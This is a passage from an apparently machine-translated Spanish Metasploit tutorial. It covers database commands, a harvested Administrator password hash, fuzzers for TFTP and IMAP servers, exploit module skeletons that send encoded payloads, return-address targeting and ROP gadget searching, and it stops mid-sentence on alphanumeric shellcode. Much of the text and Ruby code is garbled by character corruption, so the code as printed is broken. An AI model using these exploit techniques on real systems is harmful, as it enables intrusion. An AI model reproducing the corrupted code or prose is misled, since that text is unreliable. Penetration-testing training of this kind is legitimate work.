192.168.69.141 alive 12
192.168.69.142 alive 14
192.168.69.143 alive 11
192.168.69.146 alive 2
192.168.69.171 alive 6
192.168.69.173 alive 3
192.168.69.175 alive 4
192.168.69.199 alive 4
192.168.69.50 alive 3
Tambi!n puede limitar la produccin a un solo host.
msf > db_hosts -a 192.168.69.50 -c address,mac,svcs
Hosts
=====
address mac svcs
------- --- ----
192.168.69.50 00:0C:29:2A:02:5B 3
msf >
dJnotes
6unnin Cdb@notesC la salida de las notas que ha &etasploit frame2or3 para cada hu!sped. 'qu es
donde usted encontrar los resultados de su exploracin 9map, %unto con un montn de informacin
valiosa. 'l iual que el comando db@hosts, puede filtrar la informacin para mostrar slo las notas
sobre un Dnico host.
msf > db_notes -a 192.168.69.135
[*] Time: Tue Nov 23 07:43:55 UTC 2010 Note: host=192.168.69.135
type=host.os.nmap_fingerprint data={:os_version=>"2.6.X", :os_accuracy=>"100",
:os_match=>"Linux 2.6.9 - 2.6.31", :os_vendor=>"Linux", :os_family=>"Linux"}
[*] Time: Tue Nov 23 07:43:56 UTC 2010 Note: host=192.168.69.135
type=host.last_boot data={:time=>"Sun Nov 21 23:23:54 2010"}
[*] Time: Tue Nov 23 07:54:48 UTC 2010 Note: host=192.168.69.135service=smb
type=smb.fingerprint data={:os_flavor=>"Unix", :os_name=>"Unknown", :os_sp=>"Samba
3.0.20-Debian"}
msf >
dJservices
El Cdb@servicesC comando, como se puede imainar, mostrar los servicios identificados en los equipos
de destino. Esta es la informacin que nos proporciona informacin valiosa con respecto a qu!
ob%etivos merecen un nuevo ataque.
msf > db_services
Services
========
created_at info
name port proto state updated_at Host
Workspace
---------- ----
---- ---- ----- ----- ---------- ----
---------
Tue Nov 23 07:43:55 UTC 2010 Microsoft Windows RPC
msrpc 135 tcp open Tue Nov 23 07:43:55 UTC 2010 192.168.69.100
default
Tue Nov 23 07:43:55 UTC 2010
netbios-ssn 139 tcp open Tue Nov 23 07:43:55 UTC 2010 192.168.69.100
default
Tue Nov 23 07:43:55 UTC 2010 Windows XP Service Pack 2 (language: English)
(name:V-XPSP2-TEMPLAT) (domain:WORKGROUP) smb 445 tcp
open Tue Nov 23 07:54:50 UTC 2010 192.168.69.100 default
...snip...
Tue Nov 23 07:43:55 UTC 2010 lighttpd 1.4.26
ip 80 tcp open Tue Nov 23 07:55:42 UTC 2010 192.168.69.50
default
Tue Nov 23 07:43:55 UTC 2010 Samba smbd 3.X workgroup: WORKGROUP
netbios-ssn 139 tcp open Tue Nov 23 07:43:55 UTC 2010 192.168.69.50
default
Tue Nov 23 07:43:55 UTC 2010 Unix Samba 3.0.37 (language: Unknown)
(domain:WORKGROUP) smb 445
tcp open Tue Nov 23 07:54:41 UTC 2010 192.168.69.50 default
msf >
Tambi!n tenemos la opcin de estrechar la informacin en nuestro ob%etivo. <ue pasa C?hC mostrar las
opciones disponibles.
msf > db_services -h
Usage: db_services [-h|--help] [-u|--up] [-a ] [-r ] [-p ] [-n ]
-a Search for a list of addresses
-c Only show the given columns
-h,--help Show this help information
-n Search for a list of service names
-p Search for a list of ports
-r Only show [tcp|udp] services
-u,--up Only show services which are up
Available columns: created_at, info, name, port, proto, state, updated_at
msf >
/odemos filtrar por la salida de todo el camino a un determinado puerto T$/ que estamos buscando.
msf > db_services -a 192.168.69.135 -c info -p 445 -r tcp
Services
========
info Host
Workspace
---- ----
---------
Unix Samba 3.0.20-Debian (language: Unknown) (domain:WORKGROUP) 192.168.69.135
default
msf >
dJvulns
6unnin Cdb@vulnsC mostrar una lista de todas las vulnerabilidades almacenados en la base de datos,
adaptada a cada ob%etivo. Tambi!n se mostrar una lista de las referencias apropiadas si est disponible.
msf > db_vulns -h
[*] Time: Tue Nov 23 09:09:19 UTC 2010 Vuln: host=192.168.69.50 name=NSS- refs=
[*] Time: Tue Nov 23 09:09:20 UTC 2010 Vuln: host=192.168.69.50 port=445 proto=tcp
name=NSS-26920 refs=CVE-1999-0519,CVE-1999-0520,CVE-2002-1117,BID-494,OSVDB-299
[*] Time: Tue Nov 23 09:09:21 UTC 2010 Vuln: host=192.168.69.50 port=445 proto=tcp
name=NSS-26919 refs=CVE-1999-0505
...snip...
[*] Time: Tue Nov 23 09:18:54 UTC 2010 Vuln: host=192.168.69.1 name=NSS-43067 refs=
[*] Time: Tue Nov 23 09:18:54 UTC 2010 Vuln: host=192.168.69.1 name=NSS-45590 refs=
[*] Time: Tue Nov 23 09:18:54 UTC 2010 Vuln: host=192.168.69.1 name=NSS-11936 refs=
msf >
dJe.ploited
5na vez que hemos tenido un poco de diversin y shells conseuido en alunos de nuestros ob%etivos,
podemos e%ecutar Cdb@exploitedC a la lista de las mquinas que fueron explotados con !xito, %unto con
lo que se utiliz en la explotacin de ellos.
msf > db_exploited
[*] Time: Tue Nov 23 09:23:44 UTC 2010 Host Info: host=192.168.69.100 port=445
proto=tcp sname=192.168.69.100 exploit=exploit/windows/smb/ms08_067_netapi
[*] Time: Tue Nov 23 09:23:44 UTC 2010 Host Info: host=192.168.69.105 port=445
proto=tcp sname=192.168.69.105 exploit=exploit/windows/smb/ms08_067_netapi
[*] Found 2 exploited hosts.
Msf >
dJaddJcred and dJcreds
)urante la post?explotacin de una serie, la recopilacin de las credenciales de usuario es una
importante actividad con el fin de penetrar aDn ms la red ob%etivo. 'l reunirnos con%untos de
credenciales, podemos a0adir a nuestra base de datos con el Cdb@add@credsC comando y la lista ms
adelante mediante la e%ecucin de Cdb@credsC.
msf > db_add_cred
[*] Usage: db_add_cred [host] [port] [user] [pass] [type] [active]
msf > db_add_cred 192.168.69.100 445 Administrator
7bf4f254b222bb24aad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e:::
[*] Time: Tue Nov 23 09:28:24 UTC 2010 Credential: host=192.168.69.100 port=445
proto=tcp sname=192.168.69.100 type=password user=Administrator
pass=7bf4f254b222bb24aad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e:::
active=true
msf > db_creds
[*] Time: Tue Nov 23 09:28:24 UTC 2010 Credential: host=192.168.69.100 port=445
proto=tcp sname=192.168.69.100 type=password user=Administrator
pass=7bf4f254b222bb24aad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e:::
active=true
[*] Found 1 credential.
Msf >
,ste ha sido un reve resumen de al!unos de los comandos de ases de datos disponiles en
Metasploit4 #omo siempre6 la me?or manera de aprender m*s y se aprende es e.perimentando
con ellos en su entorno de laoratorio4
Aritin! A Simple Fu--er
#uzzers son herramientas utilizadas por los profesionales de la seuridad para proporcionar datos no
vlidos y sin previo aviso las entradas de un prorama. #uzzers tpica prueba una solicitud de
desbordamientos de bDfer, cadena de formato, los ataques de directorio transversal, las vulnerabilidades
de e%ecucin de comandos, inyeccin S<7, NSS y mucho ms. )ebido a &etasploit proporciona un
con%unto muy completo de las bibliotecas para profesionales de la seuridad de muchos protocolos de
red y la manipulacin de los datos, el #rame2or3 es un buen candidato para el desarrollo rpido de
fuzzers simple.
)e.== mdulo de texto ofrece un montn de m!todos Dtiles para tratar con textos como=
< -u''er de conversin
< ,odi'icacin de Chtml@ url@ etcD
< ,heueo
< Keneracin cadena aleatoria
El Dltimo punto es, obviamente, muy Dtil para escribir fuzzers simple. /ara ms informacin, consulte
la documentacin de la '/4 en http=>>metasploit.com>documents>api>rex>classes>6ex>Text.html. 'qu
estn alunas de las funciones que se pueden encontrar en el 6ex== Texto=
rootGbtM]*docsH 4rep :def self.rand: *pentest*e!plots*framewor#&*lb*re!*te!t.rb
def self.randIc"ar(badR c"ars = DllC"ars)
def self.randIbase(lenR badR Zfoo)
def self.randIte!t(lenR bad=AAR c"ars = DllC"ars)
def self.randIte!tIalp"a(lenR bad=AA)
def self.randIte!tIalp"aIlower(lenR bad=AA)
def self.randIte!tIalp"aIupper(lenR bad=AA)
def self.randIte!tIalp"anumerc(lenR bad=AA)
def self.randIte!tInumerc(lenR bad=AA)
def self.randIte!tIen4ls"(lenR bad=AA)
def self.randIte!tI"4"asc(lenR bad=AA)
def self.random+eIspace(str)
def self.randI"ostname
def self.randIstate()
Simple TFT2 Fu--er
5no de los aspectos ms importantes de &etasploit es lo fcil que es hacer cambios y crear nuevas
funcionalidades mediante la reutilizacin de cdio existente. /or e%emplo, ya que este cdio fuzzer
muy simple demuestra, usted puede hacer alunas modificaciones menores a un mdulo de &etasploit
existentes para crear un mdulo de fuzzer. 7os cambios se pasan cada vez ms laros en el valor medio
de transporte al servicio de E$om T#T/ para (indo2s, lo que resulta en una sobrescritura de E4/.
HMetasplot
re@ure Amsf*coreA
class Metasplot& < MsfMMDu!lary
nclude MsfMMDu!laryMM=canner
def ntal+e
super(
ALameA => A&Com 262P 6u++erAR
A8ersonA => Ac?e5sonM , cAR
A7escrptonA => A&Com 262P 6u++er Passes 95erly Con4
2ransport Mode =trn4AR
ADut"orA => AJour name "ereAR
ACcenseA => M=6ICBC3L=3
)
re4sterIoptons( P
9ptMM?P9?2(())
QR self.class)
end
def runI"ost(p)
H Create an unbound <7P soc#et
udpIsoc# = ?e!MM=oc#etMM<dp.create(
AConte!tA =>
O
AMsfA => framewor#R
AMsf3!plotA => selfR
V
)
count = ,' H =et an ntal count
w"le count < -''' H E"le t"e count s under -''' run
e5l = :D: Z count H =et a number of :D:s e@ual to count
p#t = :\!''\!'-: U :\!.,: U :\!'': U e5l U :\!'': H
7efne t"e payload
udpIsoc#.sendto(p#tR pR datastorePA?P9?2AQ) H =end t"e
pac#et
prntIstatus(:=endn4M HOe5lV:) H =tatus update
resp = udpIsoc#.4et(,) H Capture t"e response
count U= ,' H Bncrease count by ,'R and loop
end
end
end
;astante sencillo. /ermite correr y ver qu! pasa.
W tenemos un crashZ El fuzzer est funcionando como se esperaba. Si bien esto puede parecer simple a
primera vista, una cosa a considerar es el cdio reutilizable que esto nos proporciona. En nuestro
e%emplo, la estructura de cara se ha definido para nosotros, nos ahorra tiempo, y lo que nos permite
llear directamente al luar de fuzzin investiar el protocolo. Esto es extremadamente potente, y es un
beneficio oculto de la estructura.
Simple &MA2 Fu--er
)urante una sesin de reconocimiento de acoida descubrimos un servidor de correo 4&'/ que se sabe
que es vulnerable a un ataque de desbordamiento de bDfer KSure&ail E.X3I?IM. "emos encontrado un
aviso para la vulnerabilidad, pero no puedo encontrar ninuna exploit de traba%o en la base de datos de
&etasploit, ni en el 4nternet. Entonces decide escribir nuestra propia explotacin a partir de un simple
fuzzer 4&'/.
)esde el asesoramiento en esto sabemos que el comando vulnerable es la lista de 4&'/ y que necesita
credenciales vlidas para explotar la aplicacin. $omo hemos visto anteriormente, el ran Carsenal de
la bibliotecaC, presente en &S# nos puede ayudar de forma rpida secuencia de comandos de cualquier
protocolo de red y el protocolo 4&'/ no es una excepcin. 4ncluyendo &S#== Exploit== 6emoto==
4&'/ nos ahorrar mucho tiempo. )e hecho, la conexin con el servidor 4&'/ y de realizar los pasos
necesarios para la autenticacin de fuzz el comando vulnerables, es slo una cuestin de una lnea
Dnica lnea de comandosZ 'qu est el cdio de la 74ST' fuzzer 4&'/=
HH
H 2"s fle s part of t"e Metasplot 6ramewor# and may be subject to
H redstrbuton and commercal restrctons. Please see t"e Metasplot
H 6ramewor# web ste for more nformaton on lcensn4 and terms of use.
H "ttpM**metasplot.com*framewor#*
HH
re@ure Amsf*coreA
class Metasplot& < MsfMMDu!lary
nclude MsfMM3!plotMM?emoteMMBmap
nclude MsfMMDu!laryMM7os
def ntal+e
super(
ALameA => A=mple BMDP 6u++erAR
A7escrptonA => F@O
Dn e!ample of "ow to buld a smple BMDP fu++er.
Dccount BMDP credentals are re@ured n t"s
fu++er.
VR
ADut"orA => P AryujnA QR
ACcenseA => M=6ICBC3L=3R
A8ersonA => Ac?e5sonM , cA
)
end
def fu++Istr()
return ?e!MM2e!t.randIte!tIalp"anumerc(rand(,'-.))
end
def run()
srand(')
w"le (true)
connected = connectIlo4n()
f not connected
prntIstatus(:>ost s not respondn4 1 t"s s ;''7 N):)
brea#
end
prntIstatus(:;eneratn4 fu++ed data...:)
fu++ed = fu++Istr()
prntIstatus(:=endn4 fu++ed dataR buffer len4t" = Fd: F
fu++ed.len4t")
re@ = A'''- CB=2 () :*A U fu++ed U A: :PEL37:A U :\r\n:
prntIstatus(re@)
res = rawIsendIrec5(re@)
f !res.nlW
prntIstatus(res)
else
prntIstatus(:=er5er cras"edR no response:)
brea#
end
dsconnect()
end
end
end
)ecisivo, predominante el m!todo run KM, el cdio se e%ecuta cada vez que el usuario llama a
CE%ecutarC en msfconsole. En el bucle 2hile dentro de run KM, nos conectamos con el servidor 4&'/ y
autenticar a trav!s de la connect@loin function KM importados de &S#== Exploit== 6emoto== 4&'/. '
continuacin, llamar a la fuzz@str function KM que enera un bDfer de tama0o variable alfanum!rico que
va a ser enviado como arumento del comando 74ST 4&'/ a trav!s de la funcin ra2@send@recv.
.uardamos el archivo anterior en la auxiliar > dos > 2indo2s > 4&'/ > subdirectorio y cararlo desde
msfconsole como siue=
msf > use au!lary*dos*wndows*map*fu++Imap
msf au!lary(fu++Imap) > s"ow optons
Module optonsM
Lame Current =ettn4 ?e@ured 7escrpton
1111 111111111111111 11111111 11111111111
BMDPPD== no 2"e password for t"e specfed username
BMDP<=3? no 2"e username to aut"entcate as
?>9=2 yes 2"e tar4et address
?P9?2 ,.& yes 2"e tar4et port
msf au!lary(fu++Imap) > set ?>9=2 ,%-.,(.&'.%
?>9=2 => ,%-.,(.&'.%
msf au!lary(fu++Imap) > set BMDP<=3? test
BMDP<=3? => test
msf au!lary(fu++Imap) > set BMDPPD== test
BMDPPD== => test
'hora estamos listos para la pelusa de las personas vulnerables servidor 4&'/. 'tribuimos el proceso
de suremail.exe 4mmunity)ebuer y empezar nuestra sesin fuzzin=
msf au!lary(fu++Imap) > run
PZQ Connectn4 to BMDP ser5er ,%-.,(.&'.%M,.&...
PZQ Connected to tar4et BMDP ser5er.
PZQ Dut"entcatn4 as test wt" password test...
PZQ ;eneratn4 fu++ed data...
PZQ =endn4 fu++ed dataR buffer len4t" = (0.
PZQ '''- CB=2 () *:5,D7%7nb28y#K;JJM($mnKCP...Q: :PEL37:
PZQ Connectn4 to BMDP ser5er ,%-.,(.&'.%M,.&...
PZQ Connected to tar4et BMDP ser5er.
PZQ Dut"entcatn4 as test wt" password test...
PZQ ;eneratn4 fu++ed data...
PZQ =endn4 fu++ed dataR buffer len4t" = --/
PZQ '''- CB=2 () *:lCdn!;$P",DEt/%pC5DYfCP...Q: :PEL37:
PZQ '''- 9X CB=2 completed
PZQ Connectn4 to BMDP ser5er ,%-.,(.&'.%M,.&...
PZQ Connected to tar4et BMDP ser5er.
PZQ Dut"entcatn4 as test wt" password test...
PZQ ;eneratn4 fu++ed data...
PZQ =endn4 fu++ed dataR buffer len4t" = ,''%
PZQ '''- CB=2 () *:6+wbjBcC,(5E.PK7Ppb8P...Q4a7m: :PEL37:
PZQ
PZQ Connectn4 to BMDP ser5er ,%-.,(.&'.%M,.&...
PZQ Connected to tar4et BMDP ser5er.
PZQ Dut"entcatn4 as test wt" password test...
PZQ Dut"entcaton faled
PZQ >ost s not respondn4 1 t"s s ;''7 N)
PZQ Du!lary module e!ecuton completed
&S# dice que el servidor 4&'/ probablemente ha cado y 4mmunity)ebuer confirma que como se
ve en la siuiente imaen=
,.ploit Development
D,SA))O//O D, ,B2/O&TS
' continuacin, vamos a cubrir uno de los aspectos ms conocidos y populares de la estructura,
explotar el desarrollo. En esta seccin vamos a mostrar cmo utilizar el #rame2or3 para el desarrollo
de explotar le permite concentrarse en lo que es Dnico acerca de la haza0a, y hace que otros aspectos
tales como capacidad de cara, la codificacin, la eneracin de nop, y as sucesivamente slo una
cuestin de infraestructura.
)ebido a la ran cantidad de exploits actualmente disponible en &etasploit, hay una ran probabilidad
de que ya hay un mdulo que simplemente puede editar para su propio uso durante el desarrollo de
explotar. /ara hacer explotar el desarrollo ms fcil, &etasploit incluye un exploit de e%emplo que
puede modificar. Se puede encontrar en -documentation > samples > modules > exploits >.
Metasploit ,.ploit Desi!n Poals
Desarrollo de ,.ploits
'l escribir exploits que se utilizarn en &etasploit #rame2or3, sus ob%etivos de dise0o deben ser
mnimas.
< )escarga de trabajo tanto como sea posible con el 'rame"or+@;
< !acer uso@ y se basan en las bibliotecas del Rex protocolo;
< !acer un uso intensivo de la mixins disponibles;
Tan importante como el dise0o minimalista, que exploits KdebeM ser fidedina.
R ,ualuier -ad,hars declarado debe ser 3OOQ preciso;
< Aseg9rese de ue el Payload-M (l espacio es el valor m?ximo de 'iabilidad;
< Los peue6os detalles en el desarrollo de exploit m?s importantes;
Exploits debe hacer uso de la aleatoriedad siempre que sea posible. 'leatorizacin ayuda con 4)S, 4/S,
y la evasin de ': y tambi!n sirve como una prueba de fiabilidad excelente.
< Al generar el relleno@ el uso Rex== 4ext;randItextI < CrandItextIalpha@ randItextIalphanumeric@ etc;D
< %eleccin aleatoria de todas los payloads mediante el uso de codi'icadores;
< %i es posible@ al a.ar el stub encoder;
< %eleccin aleatoria nops tambi7n;
Tan importante como la funcionalidad, exploits deben ser leibles, as.
< 4odos los mdulos Metasploit tiene una estructura consistente con la harder-tab idents;
< R/uieres cdigo es di'cil de mantener@ de todos modos;
Mixins < proporcionar los nombres de opcin consistente en todo el 'rame"or+;
/or Dltimo, los exploits deben ser Dtil.
< Prueba de conceptos debe ser escrito como auxiliar de los mdulos de denegacin de servicio@ no
exploits;
< La 'iabilidad explotar 'inal debe ser alta;
< Objetivo listas debe ser inclusivo;
Metasploit ,.ploit Format
El formato de un exploit en &etasploit es similar a la de un auxiliar, pero hay ms campos.
< %iempre hay un bloue de in'ormacin Payload; Aprovecharse sin necesidad de un Payload es
simplemente un mdulo auxiliar;
< 5na lista de objetivos disponibles se describe;
< (n lugar de de'inir run CD@ explotacin CD y comprobar CD se utili.an;
xploit $%eleton
class Metasplot& < MsfMM3!plotMM?emote
nclude MsfMM3!plotMM?emoteMM2CP
def ntal+e
super(
ALameA => A=mplfed 3!plot ModuleAR
A7escrptonA => A2"s module sends a payloadAR
ADut"orA => AMy Lame >ereAR
APayloadA => OA=paceA => ,'-.R A$adC"arsA => \!''VR
A2ar4etsA => P PADutomatcAR OV Q QR
APlatformA => AwnAR
)
re4sterIoptons( P
9ptMM?P9?2(,-&./)
QR self.class)
end
H Connect to portR send t"e payloadR "andle tR dsconnect
def e!plot
connect()
soc#.put(payload.encoded)
"andler()
dsconnect()
end
end
Definin! +ulneraility Tests
)efinicin de las pruebas de vulnerabilidad
'unque rara vez implementado, el m!todo llamado de verificacin KM se debe definir en sus mdulos de
aprovechar, siempre que sea posible.
< (l m7todo de veri'icacin CD veri'ica todas las opciones excepto para los Payloads;
< (l propsito de hacer el cheue para determinar el objetivo es vulnerable o no;
< )evuelve un valor de comprobacin de'inidos;
7os valores de retorno de verificacin KM son los siuientes=
< ,hec+,ode== ,aja de seguridad - no explotable
< ,hec+,ode== )etectado - %ervicio de detectar
< ,hec+,ode== Aparece - versin vulnerable
< ,hec+,ode== 2ulnerable - con'irmada
< ,hec+,ode== 1o compatible - cheue no es compatible con este mdulo;
Sample check$% Method
&uestra de control KM El m!todo
def c"ec#
H connect to 4et t"e 62P banner
connect
H dsconnect snce "a5e cac"ed t as self.banner
dsconnect
case banner
w"en *=er51< 62P =er5er 5.\.,*
prntIstatus(A6ound 5erson ..,.'.&R e!plotableA)
return 3!plotMMC"ec#CodeMM8ulnerable
w"en *=er51< 62P =er5er*
prntIstatus(A6ound an un#nown 5ersonR try t!A)N
return 3!plotMMC"ec#CodeMM7etected
else
prntIstatus(AEe could not reco4n+e t"e ser5er bannerA)
return 3!plotMMC"ec#CodeMM=afe
end
return 3!plotMMC"ec#CodeMM=afe
end
Metasploit ,.ploit Mi.ins
,.ploit==)emote==Tcp
$ode=
lib/msf/core/exploit/tcp.rb
2roporciona las opciones T#2 y m0todos4
< )e'ine el rhost@ rport@ ,onnect4imeout
< Proporciona connect CD@ desconecte CD
< ,rea sel';soc+ como la toma de corriente mundial
< O'rece proxies %%L@ ,POR4@ ,!O%4
< La evasin a trav7s de peue6o segmento enva
< (xpone las opciones de usuario como los m7todos - rport rhost CD CD %%L CD
,.ploit==)emote==D#,)2#
$ode=
lib/msf/core/exploit/dcerpc.rb
/ereda del mi0in )1$ y tiene los si*uientes m&todos y opciones:
* Dcerpc_handle ()
Dcerpc_bind * ()
* Dcerpc_call ()
* Compatible con los mtodos de evasin de IPS con las solicitudes de enlace multi-
contexto y fragmentada llamadas DCERPC
,.ploit==)emote==SM<
$ode=
lib/msf/core/exploit/smb.rb
&erede del mixin '"( y proporciona los si!uientes m)todos y opciones*
< %mbIlogin CD
%mbIcreate < CD
< %mbIpeerIos CD
< Proporciona las opciones de %M-5ser@ smbpass y %M-)omain
< (xpone m7todos 0P% la evasin@ tales como= %M-== pipeIevasion@ %M-== padIdataIlevel@ %M-==
'ileIdataIlevel
,.ploit==)emote==<ruteTar!ets
"ay dos archivos de cdio fuente de inter!s.
$ode=
lib/msf/core/exploit/brutetargets.rb
$obrecar!a del exploit +, m)todo.
R 7lamadas exploit@taret Kob%etivoM para cada ob%etivo
R /rctico para la iteracin blanco fcil
$ode=
lib/msf/core/exploit/brute.rb
Sorecar!a del m0todo de e.plotacin4
< Llamadas bruteIexploit CD para cada pisar
< *?cil de 'uer.a bruta y el rango de direcciones
El mixins mencionados anteriormente son slo la punta del iceber, ya que hay muchos ms a su
disposicin al crear exploits. 'lunas de las ms interesantes son=
< ,aptura - sni'ear los pauetes de red
< Lorcon - enviar tramas #i*i
< M%%/L - hablar con los servidores Microso't %/L
< :ernelMode - aprovechar cualuier error del +ernel
< %(! - control estructurado de excepciones
< 1)MP - el protocolo de copia de seguridad de la red
< (gg!unter - b9sueda de la memoria
< *4P - hablar con los servidores *4P
< *tp%erver - crear servidores *4P
Metasploit ,.ploit Tar!ets
Metasploit destinacin de los ,.ploit
Exploits definir una lista de ob%etivos que incluye el nombre, nDmero, y las opciones. 7os ob%etivos se
especifican por el nDmero cuando se inicia.
2)ar*ets2 34
5
6 7indows 8000 9 )(:;<) 3 0
5
27indows 8000 <n*lish2,
=
2:ets2 34 5 00>>388e0 ?,
@,
?,
6 7indows A$ B )(:;<) 3 C
5
27indows A$ <n*lish2,
=
2:ets2 34 5 00>DbfCa ?,
@,
?,
?,
2Eefault)ar*et2 34 0%%
Opciones del o?etivo de lo'ues
El bloque de opciones dentro de la seccin de destino es casi de forma libre, aunque hay alunos
nombres de opciones especiales.
< >Ret> es corto cortado como target;ret CD
< NPayloadN sobrecarga el bloue de in'ormacin exploits
7as opciones son donde se almacenan los datos de destino. /or e%emplo=
< La direccin de retorno para un #indo"s &OOO de destino
< POO bytes de relleno se deben agregar para #indo"s $P objetivos
< #indo"s 2ista 1$ direccin de bypass
Acceso a la informacin de destino
El -taret- ob%eto dentro de la explotacin es el ob%etivo de los usuarios seleccionados y se accede a la
explotacin como un hash.
< Objetivo SNpadcountNT
< Objetivo SNRe4sNT SOT
< Objetivo SNPayloadNT SN-ad,harsNT
< Objetivo SNopnumNT
Adicin y la fi?acin de metas ,.ploit
' veces es necesario nuevos ob%etivos, porque un determinado lenua%e de cambio de empaque, las
direcciones, una versin diferente del soft2are est disponible, o las direcciones se desplazan por los
anchos. 'dicin de un nuevo ob%etivo slo requiere tres pasos.
< )eterminar el tipo de direccin del remitente ue usted reuiere; (sto podra ser un simple Njmp
espN@ un salto a un registro espec'ico@ o un >pop F pop F ret; ,omentarios en el cdigo del exploit puede
ayudarle a determinar lo ue se necesita;
< Obtener una copia de los binarios de destino
< 5se ms'pescan para locali.ar una direccin de retorno adecuado
Si el cdio de explotacin no se refiere explcitamente a decir qu! tipo de direccin de retorno es
necesaria, pero es lo suficientemente bueno que le dia el nombre de dll para la explotacin existente,
puede averiuar qu! tipo de direccin del remitente que usted est buscando. $onsideremos el siuiente
e%emplo que proporciona una direccin de retorno para un (indo2s JGGG S/G?S/I ob%etivo.
27indows 8000 ,$0B,$2,
=
2:et2 34 00>F>a3GfF, 6 umpnpm*r.dll
@
/ara saber qu! tipo de direccin de retorno del exploit utiliza en la actualidad, slo tenemos que
encontrar una copia de umpnpmr.dll de una mquina de la mquina de (indo2s JGGG y e%ecutar
msfpescan con la direccin proporcionada para determinar el tipo de retorno. En el siuiente e%emplo,
podemos ver que esta haza0a requiere un pop @ pop @ ret4
root@bt:/pentest/exploits/framework3# msfpescan -D -a 0x767a38f6
win2000sp4.umpnpmgr.dll
[win200sp4.umpnpmgr.dll]
0x767a38f6 5f5ec3558bec6aff68003c7a7668e427
00000000 5F pop edi
00000001 5E pop esi
00000002 C3 ret
00000003 55 push ebp
00000004 8BEC mov ebp,esp
00000006 6AFF push byte -0x1
00000008 68003C7A76 push 0x767a3c00
0000000D 68 db 0x68
0000000E E427 in al,0x27
'hora, slo tenemos que tomar una copia de la dll de destino y el uso msfpescan para encontrar una
direccin Dtil pop > pop > ret para nosotros.
root@bt:/pentest/exploits/framework3# msfpescan -p targetos.umpnpmgr.dll
[targetos.umpnpmgr.dll]
0x79001567 pop eax; pop esi; ret
0x79011e0b pop eax; pop esi; retn 0x0008
0x79012749 pop esi; pop ebp; retn 0x0010
0x7901285c pop edi; pop esi; retn 0x0004
'hora que hemos encontrado una direccin de respuesta adecuada, le a0adimos nuestro nuevo ob%etivo
al exploit.
27indows 8000 ,$0B,$ :ussian Han*ua*e2,
=
2:et2 34 00>D0C8GIc, 6 umpnpm*r.dll
@
Metasploit ,.ploit 2ayloads
Seleccione un codificador=
< 1o se deben tocar ciertos registros
< )ebe estar bajo el tama6o m?ximo
< )ebe evitar -ad,hars
< Los codi'icadores se clasi'ican
Seleccione un !enerador nop=
< 4rata de la m?s aleatoria primero
1ops < 4ambi7n se clasi'ic
,?emplo de codificacin
< (l espacio Payload de'inida es de UOO bytes
< La Payload es de HOO bytes de longitud
< (l stub (ncoder a6ade otros BO bytes a la carga
< (l nops luego rellenar el resto de PAO bytes con lo ue el tama6o 'inal payload;encoded de UOO bytes
< (l relleno nop se puede evitar mediante la adicin de >)isable1ops NVM true al exploit
Opciones de 2ayload de lo'ues
$omo es el caso para la mayora de las cosas en el #rame2or3, los payloads pueden ser a%ustados a los
exploits.
< Pre'ijos N%tac+Adjustment >sub esp> cdigo
< >Min1ops N@N Max1ops N@N )isable1ops N
< NPre'ijo de datos de los lugares antes de la carga
< >Pre'ix(ncoder Npone ante el stub
Estas opciones tambi!n se puede ir en el bloque de destinacin de los, lo que permite ;ad$hars
diferentes de las metas y destinacin de los permite olpear a distintas arquitecturas y sistemas
operativos.
Msfrop
' medida que desarrolla exploits de las nuevas versiones de los sistemas operativos (indo2s, usted
encontrar que ahora tienen )ata Execution /revention K)E/M habilitada por defecto. )E/ impide
shellcode de ser e%ecutado en la pila y ha obliado a los desarrolladores explotar para encontrar una
solucin a este mitiacin y la proramacin llamada vuelta ,rientada a Servicios K6,/M se ha
desarrollado. 5na cara de 6,/ creado mediante pre?existentes con%untos de instrucciones de no
binarios 'S76 activado para poder hacer el e%ecutable shellcode. $ada con%unto de instrucciones que
debe terminar en una instruccin 6ET9 para llevar a cabo el 6,/ de la cadena con cada con%unto de
instrucciones que comDnmente se conoce como un adet. El CmsfropC herramienta &etasploit buscar
un binario dado y retorne los aparatos utilizables.
root@bt:/tmp# msfrop -h
Usage /usr/local/bin/msfrop [targets]
Options:
-d, --depth [size] Number of maximum bytes to backwards
disassemble from return instructions
-s, --search [regex] Search for gadgets matching a regex, match
intel syntax or raw bytes
-n, --nocolor Disable color. Useful for piping to other
tools like the less and more commands
-x, --export [filename] Export gadgets to CSV format
-i, --import [filename] Import gadgets from previous collections
-v, --verbose Output very verbosely
-h, --help Show this message
#orrer msfrop con el par*metro-v se devuelven todos los !ad!ets se encuentra directamente en la
consola=
root@bt:/tmp# msfrop -v metsrv.dll
Collecting gadgets from metsrv.dll
Found 4829 gadgets
metsrv.dll gadget: 0x10001057
0x10001057: leave
0x10001058: ret
metsrv.dll gadget: 0x10001241
0x10001241: leave
0x10001242: ret
metsrv.dll gadget: 0x1000132e
0x1000132e: leave
0x1000132f: ret
metsrv.dll gadget: 0x1000138c
0x1000138c: leave
0x1000138d: ret
...snip...
7os resultados detallados no es particularmente Dtil cuando un binario contiene miles de adets para
un cambio mucho ms Dtil es?x que le permite ouput los adets en un archivo csv que se puede buscar
ms adelante.
root@bt:/tmp# msfrop -x metsrv_gadgets metsrv.dll
Collecting gadgets from metsrv.dll
Found 4829 gadgets
Found 4829 gadgets total
Exporting 4829 gadgets to metsrv_gadgets
Success! gadgets exported to metsrv_gadgets
root@bt:/tmp# head -n 10 metsrv_gadgets
Address,Raw,Disassembly
"0x10001098","5ec20c00","0x10001098: pop esi | 0x10001099: ret 0ch | "
"0x100010f7","5ec20800","0x100010f7: pop esi | 0x100010f8: ret 8 | "
"0x1000113d","5dc21800","0x1000113d: pop ebp | 0x1000113e: ret 18h | "
"0x1000117a","5dc21c00","0x1000117a: pop ebp | 0x1000117b: ret 1ch | "
"0x100011c3","5dc22800","0x100011c3: pop ebp | 0x100011c4: ret 28h | "
"0x100018b5","5dc20c00","0x100018b5: pop ebp | 0x100018b6: ret 0ch | "
"0x10002cb4","c00f9fc28d54","0x10002cb4: ror byte ptr [edi], 9fh | 0x10002cb7: ret
548dh | "
"0x10002df8","0483c20483","0x10002df8: add al, -7dh | 0x10002dfa: ret 8304h | "
"0x10002e6e","080bc20fb6","0x10002e6e: or [ebx], cl | 0x10002e70: ret 0b60fh | "
root@bt:/tmp#
Alphanumeric Shellcode
"ay casos en los que usted necesita para obtener una shellcode alfanum!ricos puro debido al carcter
de filtrado en la aplicacin de explotados. &S# puede enerar shellcode alfanum!ricos fcilmente a
